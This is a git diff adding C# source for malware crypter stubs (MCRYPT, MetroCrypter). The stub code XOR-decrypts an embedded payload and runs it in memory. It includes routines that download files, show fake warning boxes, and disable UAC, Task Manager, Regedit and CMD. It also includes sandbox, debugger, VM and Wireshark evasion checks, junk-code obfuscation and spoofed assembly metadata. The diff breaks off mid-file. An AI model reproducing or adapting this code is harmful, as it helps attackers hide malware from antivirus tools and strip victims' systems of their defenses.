t.InvokeMember("d", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Encoding.Default.GetString(BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("dl"), encKey)), "[DLONCE]"}); + } + if(message) + { + t.InvokeMember("mb", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{"[BODY]","[TITLE]","warning", "[MSGONCE]"}); + } + if(disable) + { + + t.InvokeMember("dbl", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{new bool[]{[UAC],[TASKMGR],[REGEDIT],[CMD]}}); + } + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.ToString()); + } + } + + public static byte[] BB3(byte[] DD3, string DD2) + { + byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2); + for (int i = 0; i < DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] >> (i + 5 + DD1.Length) & 255); + return DD3; + } + + //DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM() + [DllImport("kernel32")] + static extern bool IsDebuggerPresent(); + private static bool DWireshark() + { + Process[] ProcessList = Process.GetProcesses(); + foreach (Process proc in ProcessList) + { + if (proc.MainWindowTitle.Equals("The Wireshark Network Analyzer")) + { + return true; + } + } + return false; + } + private static bool DEmulation() + { + long tickCount = Environment.TickCount; + Thread.Sleep(500); + long tickCount2 = Environment.TickCount; + if (((tickCount2 - tickCount) < 500L)) + { + return true; + } + else return false; + } + + [DllImport("kernel32.dll")] + public static extern IntPtr GetModuleHandle(string lpModuleName); + +private static bool DSandboxie() +{ + if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) + { + return true; + } + else return false; +} +public static bool DVM() + { + bool result = false; + const string MICROSOFTCORPORATION ="microsoft corporation"; + try + { + ManagementObjectSearcher searcher = + new ManagementObjectSearcher("root\\CIMV2","SELECT * FROM Win32_BaseBoard"); + + foreach (ManagementObject queryObj in searcher.Get()) + { + result = queryObj["Manufacturer"].ToString().ToLower() == MICROSOFTCORPORATION.ToLower(); + } + return result; + } + catch (ManagementException ex) + { + return result; + } + } + + } + } + + + using System; +using System.Text; +using System.IO; +using System.Reflection; +using System.Resources; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Collections.Generic; +using System.Drawing; + +[assembly: AssemblyTitle("[TITLE]")] +[assembly: AssemblyDescription("[ASSDESCRIPTION]")] +[assembly: AssemblyCompany("[COMPANY]")] +[assembly: AssemblyProduct("[PRODUCT]")] +[assembly: AssemblyCopyright("[COPYRIGHT]")] +[assembly: AssemblyVersion("[VERSION]")] +[assembly: AssemblyFileVersion("[VERSION]")] + +namespace AA1 + { + +partial class Form1 : Form + { + /// <summary> + /// Required designer variable. + /// </summary> + private System.ComponentModel.IContainer components = null; + + /// <summary> + /// Clean up any resources being used. + /// </summary> + /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> + + + #region Windows Form Designer generated code + + /// <summary> + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// </summary> + private void InitializeComponent() + { + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.button1 = new System.Windows.Forms.Button(); + this.button2 = new System.Windows.Forms.Button(); + this.button3 = new System.Windows.Forms.Button(); + this.button4 = new System.Windows.Forms.Button(); + this.button5 = new System.Windows.Forms.Button(); + this.button6 = new System.Windows.Forms.Button(); + this.button7 = new System.Windows.Forms.Button(); + this.checkBox2 = new System.Windows.Forms.CheckBox(); + this.checkBox3 = new System.Windows.Forms.CheckBox(); + this.checkBox4 = new System.Windows.Forms.CheckBox(); + this.checkBox5 = new System.Windows.Forms.CheckBox(); + this.checkBox6 = new System.Windows.Forms.CheckBox(); + this.checkBox7 = new System.Windows.Forms.CheckBox(); + this.checkBox8 = new System.Windows.Forms.CheckBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); + this.numericUpDown3 = new System.Windows.Forms.NumericUpDown(); + this.numericUpDown4 = new System.Windows.Forms.NumericUpDown(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.radioButton1 = new System.Windows.Forms.RadioButton(); + this.radioButton2 = new System.Windows.Forms.RadioButton(); + this.radioButton3 = new System.Windows.Forms.RadioButton(); + this.treeView1 = new System.Windows.Forms.TreeView(); + this.treeView2 = new System.Windows.Forms.TreeView(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + this.SuspendLayout(); + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(30, 35); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(80, 17); + this.checkBox1.TabIndex = 0; + this.checkBox1.Text = "checkBox1"; + this.checkBox1.UseVisualStyleBackColor = true; + // + // button1 + // + this.button1.Location = new System.Drawing.Point(30, 69); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 23); + this.button1.TabIndex = 1; + this.button1.Text = "button1"; + this.button1.UseVisualStyleBackColor = true; + // + // button2 + // + this.button2.Location = new System.Drawing.Point(105, 119); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 23); + this.button2.TabIndex = 2; + this.button2.Text = "button2"; + this.button2.UseVisualStyleBackColor = true; + // + // button3 + // + this.button3.Location = new System.Drawing.Point(113, 127); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(75, 23); + this.button3.TabIndex = 3; + this.button3.Text = "button3"; + this.button3.UseVisualStyleBackColor = true; + // + // button4 + // + this.button4.Location = new System.Drawing.Point(121, 135); + this.button4.Name = "button4"; + this.button4.Size = new System.Drawing.Size(75, 23); + this.button4.TabIndex = 4; + this.button4.Text = "button4"; + this.button4.UseVisualStyleBackColor = true; + // + // button5 + // + this.button5.Location = new System.Drawing.Point(129, 143); + this.button5.Name = "button5"; + this.button5.Size = new System.Drawing.Size(75, 23); + this.button5.TabIndex = 5; + this.button5.Text = "button5"; + this.button5.UseVisualStyleBackColor = true; + // + // button6 + // + this.button6.Location = new System.Drawing.Point(137, 151); + this.button6.Name = "button6"; + this.button6.Size = new System.Drawing.Size(75, 23); + this.button6.TabIndex = 6; + this.button6.Text = "button6"; + this.button6.UseVisualStyleBackColor = true; + // + // button7 + // + this.button7.Location = new System.Drawing.Point(68, 127); + this.button7.Name = "button7"; + this.button7.Size = new System.Drawing.Size(75, 23); + this.button7.TabIndex = 7; + this.button7.Text = "button7"; + this.button7.UseVisualStyleBackColor = true; + // + // checkBox2 + // + this.checkBox2.AutoSize = true; + this.checkBox2.Location = new System.Drawing.Point(99, 47); + this.checkBox2.Name = "checkBox2"; + this.checkBox2.Size = new System.Drawing.Size(80, 17); + this.checkBox2.TabIndex = 8; + this.checkBox2.Text = "checkBox2"; + this.checkBox2.UseVisualStyleBackColor = true; + // + // checkBox3 + // + this.checkBox3.AutoSize = true; + this.checkBox3.Location = new System.Drawing.Point(102, 122); + this.checkBox3.Name = "checkBox3"; + this.checkBox3.Size = new System.Drawing.Size(80, 17); + this.checkBox3.TabIndex = 9; + this.checkBox3.Text = "checkBox3"; + this.checkBox3.UseVisualStyleBackColor = true; + // + // checkBox4 + // + this.checkBox4.AutoSize = true; + this.checkBox4.Location = new System.Drawing.Point(110, 130); + this.checkBox4.Name = "checkBox4"; + this.checkBox4.Size = new System.Drawing.Size(80, 17); + this.checkBox4.TabIndex = 10; + this.checkBox4.Text = "checkBox4"; + this.checkBox4.UseVisualStyleBackColor = true; + // + // checkBox5 + // + this.checkBox5.AutoSize = true; + this.checkBox5.Location = new System.Drawing.Point(118, 138); + this.checkBox5.Name = "checkBox5"; + this.checkBox5.Size = new System.Drawing.Size(80, 17); + this.checkBox5.TabIndex = 11; + this.checkBox5.Text = "checkBox5"; + this.checkBox5.UseVisualStyleBackColor = true; + // + // checkBox6 + // + this.checkBox6.AutoSize = true; + this.checkBox6.Location = new System.Drawing.Point(126, 146); + this.checkBox6.Name = "checkBox6"; + this.checkBox6.Size = new System.Drawing.Size(80, 17); + this.checkBox6.TabIndex = 12; + this.checkBox6.Text = "checkBox6"; + this.checkBox6.UseVisualStyleBackColor = true; + // + // checkBox7 + // + this.checkBox7.AutoSize = true; + this.checkBox7.Location = new System.Drawing.Point(134, 154); + this.checkBox7.Name = "checkBox7"; + this.checkBox7.Size = new System.Drawing.Size(80, 17); + this.checkBox7.TabIndex = 13; + this.checkBox7.Text = "checkBox7"; + this.checkBox7.UseVisualStyleBackColor = true; + // + // checkBox8 + // + this.checkBox8.AutoSize = true; + this.checkBox8.Location = new System.Drawing.Point(142, 162); + this.checkBox8.Name = "checkBox8"; + this.checkBox8.Size = new System.Drawing.Size(80, 17); + this.checkBox8.TabIndex = 14; + this.checkBox8.Text = "checkBox8"; + this.checkBox8.UseVisualStyleBackColor = true; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(93, 169); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(35, 13); + this.label1.TabIndex = 15; + this.label1.Text = "label1"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(125, 124); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(35, 13); + this.label2.TabIndex = 16; + this.label2.Text = "label2"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(133, 132); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(35, 13); + this.label3.TabIndex = 17; + this.label3.Text = "label3"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(141, 140); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(35, 13); + this.label4.TabIndex = 18; + this.label4.Text = "label4"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(149, 148); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(35, 13); + this.label5.TabIndex = 19; + this.label5.Text = "label5"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(157, 156); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(35, 13); + this.label6.TabIndex = 20; + this.label6.Text = "label6"; + // + // numericUpDown1 + // + this.numericUpDown1.Location = new System.Drawing.Point(57, 138); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(120, 20); + this.numericUpDown1.TabIndex = 21; + // + // numericUpDown2 + // + this.numericUpDown2.Location = new System.Drawing.Point(82, 120); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new System.Drawing.Size(120, 20); + this.numericUpDown2.TabIndex = 22; + // + // numericUpDown3 + // + this.numericUpDown3.Location = new System.Drawing.Point(90, 128); + this.numericUpDown3.Name = "numericUpDown3"; + this.numericUpDown3.Size = new System.Drawing.Size(120, 20); + this.numericUpDown3.TabIndex = 23; + // + // numericUpDown4 + // + this.numericUpDown4.Location = new System.Drawing.Point(98, 136); + this.numericUpDown4.Name = "numericUpDown4"; + this.numericUpDown4.Size = new System.Drawing.Size(120, 20); + this.numericUpDown4.TabIndex = 24; + // + // pictureBox1 + // + this.pictureBox1.Location = new System.Drawing.Point(30, 198); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(100, 50); + this.pictureBox1.TabIndex = 25; + this.pictureBox1.TabStop = false; + // + // pictureBox2 + // + this.pictureBox2.Location = new System.Drawing.Point(92, 105); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(100, 50); + this.pictureBox2.TabIndex = 26; + this.pictureBox2.TabStop = false; + // + // pictureBox3 + // + this.pictureBox3.Location = new System.Drawing.Point(100, 113); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(100, 50); + this.pictureBox3.TabIndex = 27; + this.pictureBox3.TabStop = false; + // + // radioButton1 + // + this.radioButton1.AutoSize = true; + this.radioButton1.Location = new System.Drawing.Point(106, 69); + this.radioButton1.Name = "radioButton1"; + this.radioButton1.Size = new System.Drawing.Size(85, 17); + this.radioButton1.TabIndex = 28; + this.radioButton1.TabStop = true; + this.radioButton1.Text = "radioButton1"; + this.radioButton1.UseVisualStyleBackColor = true; + // + // radioButton2 + // + this.radioButton2.AutoSize = true; + this.radioButton2.Location = new System.Drawing.Point(100, 122); + this.radioButton2.Name = "radioButton2"; + this.radioButton2.Size = new System.Drawing.Size(85, 17); + this.radioButton2.TabIndex = 29; + this.radioButton2.TabStop = true; + this.radioButton2.Text = "radioButton2"; + this.radioButton2.UseVisualStyleBackColor = true; + // + // radioButton3 + // + this.radioButton3.AutoSize = true; + this.radioButton3.Location = new System.Drawing.Point(108, 130); + this.radioButton3.Name = "radioButton3"; + this.radioButton3.Size = new System.Drawing.Size(85, 17); + this.radioButton3.TabIndex = 30; + this.radioButton3.TabStop = true; + this.radioButton3.Text = "radioButton3"; + this.radioButton3.UseVisualStyleBackColor = true; + // + // treeView1 + // + this.treeView1.Location = new System.Drawing.Point(13, 122); + this.treeView1.Name = "treeView1"; + this.treeView1.Size = new System.Drawing.Size(121, 97); + this.treeView1.TabIndex = 31; + // + // treeView2 + // + this.treeView2.Location = new System.Drawing.Point(82, 82); + this.treeView2.Name = "treeView2"; + this.treeView2.Size = new System.Drawing.Size(121, 97); + this.treeView2.TabIndex = 32; + // + // Form1 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Controls.Add(this.treeView2); + this.Controls.Add(this.treeView1); + this.Controls.Add(this.radioButton3); + this.Controls.Add(this.radioButton2); + this.Controls.Add(this.radioButton1); + this.Controls.Add(this.pictureBox3); + this.Controls.Add(this.pictureBox2); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.numericUpDown4); + this.Controls.Add(this.numericUpDown3); + this.Controls.Add(this.numericUpDown2); + this.Controls.Add(this.numericUpDown1); + this.Controls.Add(this.label6); + this.Controls.Add(this.label5); + this.Controls.Add(this.label4); + this.Controls.Add(this.label3); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.checkBox8); + this.Controls.Add(this.checkBox7); + this.Controls.Add(this.checkBox6); + this.Controls.Add(this.checkBox5); + this.Controls.Add(this.checkBox4); + this.Controls.Add(this.checkBox3); + this.Controls.Add(this.checkBox2); + this.Controls.Add(this.button7); + this.Controls.Add(this.button6); + this.Controls.Add(this.button5); + this.Controls.Add(this.button4); + this.Controls.Add(this.button3); + this.Controls.Add(this.button2); + this.Controls.Add(this.button1); + this.Controls.Add(this.checkBox1); + this.Name = "Form1"; + this.Text = "Form1"; + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.Button button2; + private System.Windows.Forms.Button button3; + private System.Windows.Forms.Button button4; + private System.Windows.Forms.Button button5; + private System.Windows.Forms.Button button6; + private System.Windows.Forms.Button button7; + private System.Windows.Forms.CheckBox checkBox2; + private System.Windows.Forms.CheckBox checkBox3; + private System.Windows.Forms.CheckBox checkBox4; + private System.Windows.Forms.CheckBox checkBox5; + private System.Windows.Forms.CheckBox checkBox6; + private System.Windows.Forms.CheckBox checkBox7; + private System.Windows.Forms.CheckBox checkBox8; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.NumericUpDown numericUpDown1; + private System.Windows.Forms.NumericUpDown numericUpDown2; + private System.Windows.Forms.NumericUpDown numericUpDown3; + private System.Windows.Forms.NumericUpDown numericUpDown4; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.RadioButton radioButton1; + private System.Windows.Forms.RadioButton radioButton2; + private System.Windows.Forms.RadioButton radioButton3; + private System.Windows.Forms.TreeView treeView1; + private System.Windows.Forms.TreeView treeView2; + } + internal class AA2 + { + [DllImport("KK3KK1.dll")] static extern string KK2SS3(IntPtr MM2MM1, byte MM1MM2); + [DllImport("KK3KK2.dll")] static extern string[] KK3SS2(Boolean[] MM3MM2, char MM2MM3); + [DllImport("KK2KK3.dll")] static extern int KK4SS1(StringComparer MM4MM3, long MM3MM4); + [DllImport("KK4KK1.dll")] static extern Boolean KK5BB1(int[] MM5MM6, char MM6MM5); +public static string[] PP1; + + + static void Main(string[] PP1PP2PP3PP4) + { +byte[] BB3BB7 = null; +try + { + +byte[] BB1BB2BB3 = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]"); +PP1 = PP1PP2PP3PP4; +BB3BB7 = BB1BB2BB3 = BB3( BB1BB2BB3, "[ENCRYPTION]"); + + + } + catch (Exception ex) + { + MessageBox.Show(ex.ToString()); + } +} + public static byte[] BB3(byte[] DD3, string DD2) + { + + byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2); + for (int i = 0; i < DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] >> (i + 5 + DD1.Length) & 255); +AppDomain.CurrentDomain.Load(DD3).EntryPoint.Invoke(null, new object[]{PP1}); +Guid originalGuid = Guid.NewGuid(); + // Create an array of string representations of the GUID. + string[] stringGuids = {originalGuid.ToString("B"),originalGuid.ToString("b"),originalGuid.ToString("B")}; + + // Parse each string representation. + foreach (string stringGuid in stringGuids) { + try { + // Guid newGuid = Guid.Parse(stringGuid); + // Console.WriteLine("Converted {0} to a Guid", stringGuid); + } + catch (ArgumentNullException) { + // Console.WriteLine("The string to be parsed is null."); + } + catch (FormatException) { + // Console.WriteLine("Bad format: {0}", stringGuid); + } + } + return DD3; + //return null; +} + } + +} + + \ No newline at end of file diff --git a/C# (MCRYPT/Resources/RunNet b/C# (MCRYPT/Resources/RunNet new file mode 100644 index 0000000..1562936 Binary files /dev/null and b/C# (MCRYPT/Resources/RunNet differ diff --git a/C# (MCRYPT/Resources/RunNet.dll b/C# (MCRYPT/Resources/RunNet.dll new file mode 100644 index 0000000..1562936 Binary files /dev/null and b/C# (MCRYPT/Resources/RunNet.dll differ diff --git a/C# (MCRYPT/app.config b/C# (MCRYPT/app.config new file mode 100644 index 0000000..51278a4 --- /dev/null +++ b/C# (MCRYPT/app.config @@ -0,0 +1,3 @@ + + + diff --git a/C# (MCRYPT/reFUDme_Scanner/XtendPicBox.cs b/C# (MCRYPT/reFUDme_Scanner/XtendPicBox.cs new file mode 100644 index 0000000..f7d07b9 --- /dev/null +++ b/C# (MCRYPT/reFUDme_Scanner/XtendPicBox.cs @@ -0,0 +1,57 @@ +namespace reFUDme_Scanner +{ + using System; + using System.ComponentModel; + using System.Drawing; + using System.Windows.Forms; + + public class XtendPicBox : Panel + { + // Fields + private PictureBox innerPicture = new PictureBox(); + private bool mAutoScroll = true; + private string mPictureFile = string.Empty; + + // Methods + public XtendPicBox() + { + this.innerPicture.Top = 0; + this.innerPicture.Left = 0; + this.innerPicture.SizeMode = PictureBoxSizeMode.Normal; + base.Controls.Add(this.innerPicture); + } + + // Properties + [Browsable(false)] + public override bool AutoScroll + { + get + { + return this.mAutoScroll; + } + set + { + this.mAutoScroll = value; + } + } + + [Browsable(true), Description("Set path to image file."), Category("Image File")] + public string PictureFile + { + get + { + return this.mPictureFile; + } + set + { + this.mPictureFile = value; + if (!string.IsNullOrEmpty(this.mPictureFile)) + { + this.innerPicture.Image = Image.FromFile(this.mPictureFile); + this.innerPicture.Size = this.innerPicture.Image.Size; + } + } + } + } +} + diff --git a/C# (MetroCrypterinf/.DS_Store b/C# (MetroCrypterinf/.DS_Store new file mode 100644 index 0000000..61cafcc Binary files /dev/null and b/C# (MetroCrypterinf/.DS_Store differ diff --git a/C# (MetroCrypterinf/Dlls/MetroFramework.Design.dll b/C# (MetroCrypterinf/Dlls/MetroFramework.Design.dll new file mode 100644 index 0000000..fe69d7d Binary files /dev/null and b/C# (MetroCrypterinf/Dlls/MetroFramework.Design.dll differ diff --git a/C# (MetroCrypterinf/Dlls/MetroFramework.Fonts.dll b/C# (MetroCrypterinf/Dlls/MetroFramework.Fonts.dll new file mode 100644 index 0000000..324ee0f Binary files /dev/null and b/C# (MetroCrypterinf/Dlls/MetroFramework.Fonts.dll differ diff --git a/C# (MetroCrypterinf/Dlls/MetroFramework.dll b/C# (MetroCrypterinf/Dlls/MetroFramework.dll new file mode 100644 index 0000000..ebffc7e Binary files /dev/null and b/C# (MetroCrypterinf/Dlls/MetroFramework.dll differ diff --git a/C# (MetroCrypterinf/Dump File/MetroCrypter.pdb b/C# (MetroCrypterinf/Dump File/MetroCrypter.pdb new file mode 100644 index 0000000..baee919 Binary files /dev/null and b/C# (MetroCrypterinf/Dump File/MetroCrypter.pdb differ diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/.vs/MetroCrypter/v14/.suo b/C# (MetroCrypterinf/Source/MetroCrypter/.vs/MetroCrypter/v14/.suo new file mode 100644 index 0000000..693af8f Binary files /dev/null and b/C# (MetroCrypterinf/Source/MetroCrypter/.vs/MetroCrypter/v14/.suo differ diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter.sln b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter.sln new file mode 100644 index 0000000..a31a87d --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.24720.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MetroCrypter", "MetroCrypter\MetroCrypter.csproj", "{FDFD0732-E42E-404F-91EC-0D73C391CF22}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FDFD0732-E42E-404F-91EC-0D73C391CF22}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FDFD0732-E42E-404F-91EC-0D73C391CF22}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FDFD0732-E42E-404F-91EC-0D73C391CF22}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FDFD0732-E42E-404F-91EC-0D73C391CF22}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/App.config b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/App.config new file mode 100644 index 0000000..d740e88 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.Designer.cs new file mode 100644 index 0000000..2551e71 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.Designer.cs @@ -0,0 +1,393 @@ +using MetroFramework.Components; +using MetroFramework.Controls; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace MetroCrypter +{ + partial class Assembly + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.button1 = new System.Windows.Forms.Button(); + this.name = new MetroFramework.Controls.MetroTextBox(); + this.desc = new MetroFramework.Controls.MetroTextBox(); + this.company = new MetroFramework.Controls.MetroTextBox(); + this.version = new MetroFramework.Controls.MetroTextBox(); + this.copyright = new MetroFramework.Controls.MetroTextBox(); + this.trademark = new MetroFramework.Controls.MetroTextBox(); + this.product = new MetroFramework.Controls.MetroTextBox(); + this.button2 = new System.Windows.Forms.Button(); + this.button3 = new System.Windows.Forms.Button(); + this.button4 = new System.Windows.Forms.Button(); + this.metroToolTip1 = new MetroFramework.Components.MetroToolTip(); + this.fversion = new MetroFramework.Controls.MetroTextBox(); + this.SuspendLayout(); + // + // button1 + // + this.button1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(33)))), ((int)(((byte)(35)))), ((int)(((byte)(38))))); + this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(71)))), ((int)(((byte)(77))))); + this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.999999F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.button1.Location = new System.Drawing.Point(266, -4); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 42); + this.button1.TabIndex = 24; + this.button1.TabStop = false; + this.button1.TextAlign = System.Drawing.ContentAlignment.BottomCenter; + this.button1.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // name + // + // + // + // + this.name.CustomButton.Image = null; + this.name.CustomButton.Location = new System.Drawing.Point(234, 1); + this.name.CustomButton.Name = ""; + this.name.CustomButton.Size = new System.Drawing.Size(21, 21); + this.name.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.name.CustomButton.TabIndex = 1; + this.name.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.name.CustomButton.UseSelectable = true; + this.name.CustomButton.Visible = false; + this.name.Lines = new string[0]; + this.name.Location = new System.Drawing.Point(20, 37); + this.name.MaxLength = 32767; + this.name.Name = "name"; + this.name.PasswordChar = '\0'; + this.name.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.name.SelectedText = ""; + this.name.SelectionLength = 0; + this.name.SelectionStart = 0; + this.name.ShortcutsEnabled = true; + this.name.Size = new System.Drawing.Size(256, 23); + this.name.TabIndex = 25; + this.name.UseSelectable = true; + this.name.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.name.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // desc + // + // + // + // + this.desc.CustomButton.Image = null; + this.desc.CustomButton.Location = new System.Drawing.Point(234, 1); + this.desc.CustomButton.Name = ""; + this.desc.CustomButton.Size = new System.Drawing.Size(21, 21); + this.desc.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.desc.CustomButton.TabIndex = 1; + this.desc.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.desc.CustomButton.UseSelectable = true; + this.desc.CustomButton.Visible = false; + this.desc.Lines = new string[0]; + this.desc.Location = new System.Drawing.Point(20, 77); + this.desc.MaxLength = 32767; + this.desc.Name = "desc"; + this.desc.PasswordChar = '\0'; + this.desc.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.desc.SelectedText = ""; + this.desc.SelectionLength = 0; + this.desc.SelectionStart = 0; + this.desc.ShortcutsEnabled = true; + this.desc.Size = new System.Drawing.Size(256, 23); + this.desc.TabIndex = 26; + this.desc.UseSelectable = true; + this.desc.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.desc.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, 